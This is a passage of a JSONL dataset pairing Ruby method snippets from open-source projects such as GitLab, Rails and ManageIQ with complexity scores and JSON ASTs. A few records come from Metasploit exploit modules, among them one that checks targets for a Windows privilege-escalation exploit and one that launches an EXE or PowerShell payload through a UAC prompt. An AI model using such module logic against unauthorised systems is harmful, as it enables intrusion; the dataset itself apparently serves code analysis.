\"str\",\"children\":[\"CI_MERGE_REQUEST_IID\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"REVIEW_SLUG\"]},{\"type\":\"send\",\"children\":[null,\"review_slug\"]}]}]}]}","id":"e2981931-43d3-495c-8c80-0a715ef3054f"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/grant_flow/flow.rb","start_line":19,"raw_source":"def handles_grant_type?\n        grant_type_matches.present?\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"handles_grant_type?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"grant_type_matches\"]},\"present?\"]}]}","id":"8501a19c-c958-436c-a17d-a9b50861aabf"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/pxe_image.rb","start_line":17,"raw_source":"def self.model_suffix\n    name[8..-1]\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"model_suffix\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[-1]}]}]}]}","id":"ea84e893-9661-43ab-a72d-d84196946daa"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/conan/metadata_extraction_service.rb","start_line":68,"raw_source":"def validate_recipe_hash_section(section, data)\n        return unless section == RECIPE_HASH_SECTION && data\n\n        raise ExtractionError, 'The recipe_hash section cannot have multiple lines'\n      end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_recipe_hash_section\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"section\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"section\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"RECIPE_HASH_SECTION\"]}]},{\"type\":\"lvar\",\"children\":[\"data\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ExtractionError\"]},{\"type\":\"str\",\"children\":[\"The recipe_hash section cannot have multiple lines\"]}]}]}]}","id":"3864fda4-1bfd-4330-a527-0e3412726385"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/app/models/alert.rb","start_line":11,"raw_source":"def trigger(sync_run)\n    alert_channels.each do |alert_channel|\n      if send_sucess_alert?(sync_run)\n        send_success_alert(alert_common_attributes(sync_run), alert_channel)\n      elsif send_failure_alert?(sync_run)\n        send_failure_alert(alert_common_attributes(sync_run), alert_channel)\n      end\n\n      next unless send_row_failure_alert?(sync_run)\n\n      attrs = {\n        failed_rows_count: sync_run.failed_rows,\n        total_rows_count: sync_run.total_rows\n      }.merge(alert_common_attributes(sync_run))\n      send_row_failure_alert(attrs, alert_channel)\n    end\n\n    update!(last_run_at: Time.zone.now)\n  end","complexity_score":27.8,"ast_json":"{\"type\":\"def\",\"children\":[\"trigger\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sync_run\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"alert_channels\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"alert_channel\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send_sucess_alert?\",{\"type\":\"lvar\",\"children\":[\"sync_run\"]}]},{\"type\":\"send\",\"children\":[null,\"send_success_alert\",{\"type\":\"send\",\"children\":[null,\"alert_common_attributes\",{\"type\":\"lvar\",\"children\":[\"sync_run\"]}]},{\"type\":\"lvar\",\"children\":[\"alert_channel\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send_failure_alert?\",{\"type\":\"lvar\",\"children\":[\"sync_run\"]}]},{\"type\":\"send\",\"children\":[null,\"send_failure_alert\",{\"type\":\"send\",\"children\":[null,\"alert_common_attributes\",{\"type\":\"lvar\",\"children\":[\"sync_run\"]}]},{\"type\":\"lvar\",\"children\":[\"alert_channel\"]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send_row_failure_alert?\",{\"type\":\"lvar\",\"children\":[\"sync_run\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"attrs\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"failed_rows_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_run\"]},\"failed_rows\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"total_rows_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_run\"]},\"total_rows\"]}]}]},\"merge\",{\"type\":\"send\",\"children\":[null,\"alert_common_attributes\",{\"type\":\"lvar\",\"children\":[\"sync_run\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_row_failure_alert\",{\"type\":\"lvar\",\"children\":[\"attrs\"]},{\"type\":\"lvar\",\"children\":[\"alert_channel\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_run_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"now\"]}]}]}]}]}]}","id":"a4bc6a2b-7a48-4567-9325-8c7e685d3c16"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/services/note_summary_spec.rb","start_line":10,"raw_source":"def create_note_summary\n    described_class.new(noteable, project, user, 'note', action: 'icon', commit_count: 5)\n  end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"create_note_summary\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"noteable\"]},{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"str\",\"children\":[\"note\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"icon\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"commit_count\"]},{\"type\":\"int\",\"children\":[5]}]}]}]}]}","id":"4caf1cda-f0be-4632-acb6-5794dbf25c44"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/mov_ss.rb","start_line":108,"raw_source":"def validate_target\n    if sysinfo['Architecture'] != ARCH_X64\n      fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')\n    end\n    version = get_version_info\n    if version.build_number.between?(Msf::WindowsVersion::XP_SP0, Msf::WindowsVersion::XP_SP3)\n      fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP')\n    end\n  end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_target\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sysinfo\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Architecture\"]}]},\"!=\",{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoTarget\"]},{\"type\":\"str\",\"children\":[\"Exploit code is 64-bit only\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[null,\"get_version_info\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"build_number\"]},\"between?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"WindowsVersion\"]},\"XP_SP0\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"WindowsVersion\"]},\"XP_SP3\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"The exploit binary does not support Windows XP\"]}]},null]}]}]}","id":"b90efdfb-304d-471a-a527-e8c0db0fc7ed"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/active_model_helper.rb","start_line":13,"raw_source":"def object\n        @active_model_object ||= begin\n          object = super\n          object.respond_to?(:to_model) ? object.to_model : object\n        end\n      end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"object\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@active_model_object\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"object\",{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"to_model\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"to_model\"]},{\"type\":\"lvar\",\"children\":[\"object\"]}]}]}]}]}","id":"8d603997-f3c9-49ab-8f3b-b68d463eaa4b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/ask.rb","start_line":47,"raw_source":"def exploit\n    if is_uac_enabled?\n      print_status 'UAC is Enabled, checking level...'\n      case get_uac_level\n      when UAC_NO_PROMPT\n        print_good 'UAC is not enabled, no prompt for the user'\n      else\n        print_status \"The user will be prompted, wait for them to click 'Ok'\"\n      end\n    else\n      print_good 'UAC is not enabled, no prompt for the user'\n    end\n\n    case datastore['TECHNIQUE']\n    when 'EXE'\n      shell_execute_exe(datastore['FILENAME'], datastore['PATH'])\n    when 'PSH'\n      shell_execute_psh\n    end\n  end","complexity_score":24.5,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_uac_enabled?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"UAC is Enabled, checking level...\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_uac_level\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UAC_NO_PROMPT\"]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"UAC is not enabled, no prompt for the user\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"The user will be prompted, wait for them to click 'Ok'\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"UAC is not enabled, no prompt for the user\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TECHNIQUE\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"EXE\"]},{\"type\":\"send\",\"children\":[null,\"shell_execute_exe\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FILENAME\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PATH\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"PSH\"]},{\"type\":\"send\",\"children\":[null,\"shell_execute_psh\"]}]},null]}]}]}","id":"4a842ef0-e330-40ce-9920-ab0618032bad"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/models/host_spec.rb","start_line":381,"raw_source":"def assert_remote_credentials_validated(options = {})\n    expect(@host).to receive(:connect_ssh).with({})\n    expect(@host.verify_credentials?(:remote, options)).to be_truthy\n    # make sure we got the right userid\n    expect(@host.authentication_type(:remote).userid).to eq(\"root\")\n  end","complexity_score":17.0,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_remote_credentials_validated\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"ivar\",\"children\":[\"@host\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"connect_ssh\"]}]},\"with\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@host\"]},\"verify_credentials?\",{\"type\":\"sym\",\"children\":[\"remote\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"be_truthy\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@host\"]},\"authentication_type\",{\"type\":\"sym\",\"children\":[\"remote\"]}]},\"userid\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"str\",\"children\":[\"root\"]}]}]}]}]}","id":"114ac837-0702-4513-bba6-8471d1929b27"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/migration.rb","start_line":914,"raw_source":"def reversible\n      helper = ReversibleBlockHelper.new(reverting?)\n      execute_block { yield helper }\n    end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"reversible\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"helper\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ReversibleBlockHelper\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"reverting?\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute_block\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"helper\"]}]}]}]}]}","id":"4abf2c2c-01d9-479e-881f-df01b3dd386f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250804193146_delete_orphaned_deploy_tokens.rb","start_line":8,"raw_source":"def up\n    define_batchable_model(:deploy_tokens).where(project_id: nil, group_id: nil).each_batch do |batch|\n      associated_projects = define_batchable_model(:project_deploy_tokens)\n        .where('deploy_tokens.id = project_deploy_tokens.deploy_token_id')\n\n      associated_groups = define_batchable_model(:group_deploy_tokens)\n        .where('deploy_tokens.id = group_deploy_tokens.deploy_token_id')\n\n      batch.where('NOT EXISTS (?) AND NOT EXISTS (?)', associated_projects, associated_groups).delete_all\n    end\n  end","complexity_score":14.8,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_batchable_model\",{\"type\":\"sym\",\"children\":[\"deploy_tokens\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_id\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},\"each_batch\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"batch\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"associated_projects\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_batchable_model\",{\"type\":\"sym\",\"children\":[\"project_deploy_tokens\"]}]},\"where\",{\"type\":\"str\",\"children\":[\"deploy_tokens.id = project_deploy_tokens.deploy_token_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"associated_groups\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_batchable_model\",{\"type\":\"sym\",\"children\":[\"group_deploy_tokens\"]}]},\"where\",{\"type\":\"str\",\"children\":[\"deploy_tokens.id = group_deploy_tokens.deploy_token_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch\"]},\"where\",{\"type\":\"str\",\"children\":[\"NOT EXISTS (?) AND NOT EXISTS (?)\"]},{\"type\":\"lvar\",\"children\":[\"associated_projects\"]},{\"type\":\"lvar\",\"children\":[\"associated_groups\"]}]},\"delete_all\"]}]}]}]}","id":"909f4ff5-cccf-4c79-96f7-ee64fed53154"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/searchengine_subdomains_collector.rb","start_line":57,"raw_source":"def valid_result?(target, subdomain)\n    data = Rex::Socket.is_ipv4?(target) ? domain2ip(subdomain) : subdomain\n    data && data.include?(target) ? true : false\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_result?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target\"]},{\"type\":\"arg\",\"children\":[\"subdomain\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"is_ipv4?\",{\"type\":\"lvar\",\"children\":[\"target\"]}]},{\"type\":\"send\",\"children\":[null,\"domain2ip\",{\"type\":\"lvar\",\"children\":[\"subdomain\"]}]},{\"type\":\"lvar\",\"children\":[\"subdomain\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"target\"]}]}]},{\"type\":\"true\",\"children\":[]},{\"type\":\"false\",\"children\":[]}]}]}]}","id":"6b4cbd16-6df7-42cc-8f19-c6d2574150f7"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/backlogs/lib/open_project/backlogs/patches/version_patch.rb","start_line":79,"raw_source":"def rebuild_positions(scope, type_ids)\n      wo_position = scope\n                      .where(type_id: type_ids,\n                             position: nil)\n                      .order(Arel.sql(\"id\"))\n\n      w_position = scope\n                     .where(type_id: type_ids)\n                     .where.not(position: nil)\n                     .order(Arel.sql(\"COALESCE(position, 0), id\"))\n\n      (w_position + wo_position).each_with_index do |work_package, index|\n        work_package.update_column(:position, index + 1)\n      end\n    end","complexity_score":17.78,"ast_json":"{\"type\":\"def\",\"children\":[\"rebuild_positions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"scope\"]},{\"type\":\"arg\",\"children\":[\"type_ids\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"wo_position\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type_id\"]},{\"type\":\"lvar\",\"children\":[\"type_ids\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"position\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},\"order\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"sql\",{\"type\":\"str\",\"children\":[\"id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"w_position\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type_id\"]},{\"type\":\"lvar\",\"children\":[\"type_ids\"]}]}]}]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"position\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},\"order\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"sql\",{\"type\":\"str\",\"children\":[\"COALESCE(position, 0), id\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w_position\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"wo_position\"]}]}]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"update_column\",{\"type\":\"sym\",\"children\":[\"position\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}","id":"10c677ec-847b-4a53-b67c-28f2d619fdd9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/shared_examples/services/issuable/discussions_list_shared_examples.rb","start_line":115,"raw_source":"def create_notes(issuable, note_body)\n  assoc_name = issuable.to_ability_name\n\n  create(:note, system: true, project: issuable.project, noteable: issuable)\n\n  first_discussion = create(:discussion_note_on_issue, noteable: issuable, project: issuable.project, note: note_body)\n  create(:note,\n    discussion_id: first_discussion.discussion_id, noteable: issuable,\n    project: issuable.project, note: \"reply on #{note_body}\")\n\n  now = Time.current\n  create(\n    :resource_label_event,\n    user: current_user, \"#{assoc_name}\": issuable, label: label, action: 'add', created_at: now\n  )\n  create(\n    :resource_label_event,\n    user: current_user, \"#{assoc_name}\": issuable, label: label_2, action: 'add', created_at: now\n  )\n  create(:resource_label_event, user: current_user, \"#{assoc_name}\": issuable, label: label, action: 'remove')\n\n  if !issuable.is_a?(Epic) && !(issuable.is_a?(WorkItem) && issuable.work_item_type.name == 'Epic')\n    create(:resource_milestone_event, \"#{assoc_name}\": issuable, milestone: milestone, action: 'add')\n    create(:resource_milestone_event, \"#{assoc_name}\": issuable, milestone: milestone, action: 'remove')\n  end\n\n  # confidential notes are currently available only on issues and epics\n  return unless issuable.is_a?(Issue) || issuable.is_a?(Epic)\n\n  first_internal_discussion = create(:discussion_note_on_issue, :confidential,\n    noteable: issuable, project: issuable.project, note: \"confidential #{note_body}\")\n  create(:note, :confidential,\n    discussion_id: first_internal_discussion.discussion_id, noteable: issuable,\n    project: issuable.project, note: \"reply on confidential #{note_body}\")\nend","complexity_score":52.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create_notes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issuable\"]},{\"type\":\"arg\",\"children\":[\"note_body\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"assoc_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"to_ability_name\"]}]},{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"note\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"system\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"noteable\"]},{\"type\":\"lvar\",\"children\":[\"issuable\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"first_discussion\",{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"discussion_note_on_issue\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"noteable\"]},{\"type\":\"lvar\",\"children\":[\"issuable\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"note\"]},{\"type\":\"lvar\",\"children\":[\"note_body\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"note\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"discussion_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first_discussion\"]},\"discussion_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"noteable\"]},{\"type\":\"lvar\",\"children\":[\"issuable\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"note\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"reply on \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note_body\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"now\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]},{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"resource_label_event\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"assoc_name\"]}]}]},{\"type\":\"lvar\",\"children\":[\"issuable\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"send\",\"children\":[null,\"label\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"add\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"lvar\",\"children\":[\"now\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"resource_label_event\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"assoc_name\"]}]}]},{\"type\":\"lvar\",\"children\":[\"issuable\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"send\",\"children\":[null,\"label_2\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"add\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"lvar\",\"children\":[\"now\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"resource_label_event\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"assoc_name\"]}]}]},{\"type\":\"lvar\",\"children\":[\"issuable\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"send\",\"children\":[null,\"label\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\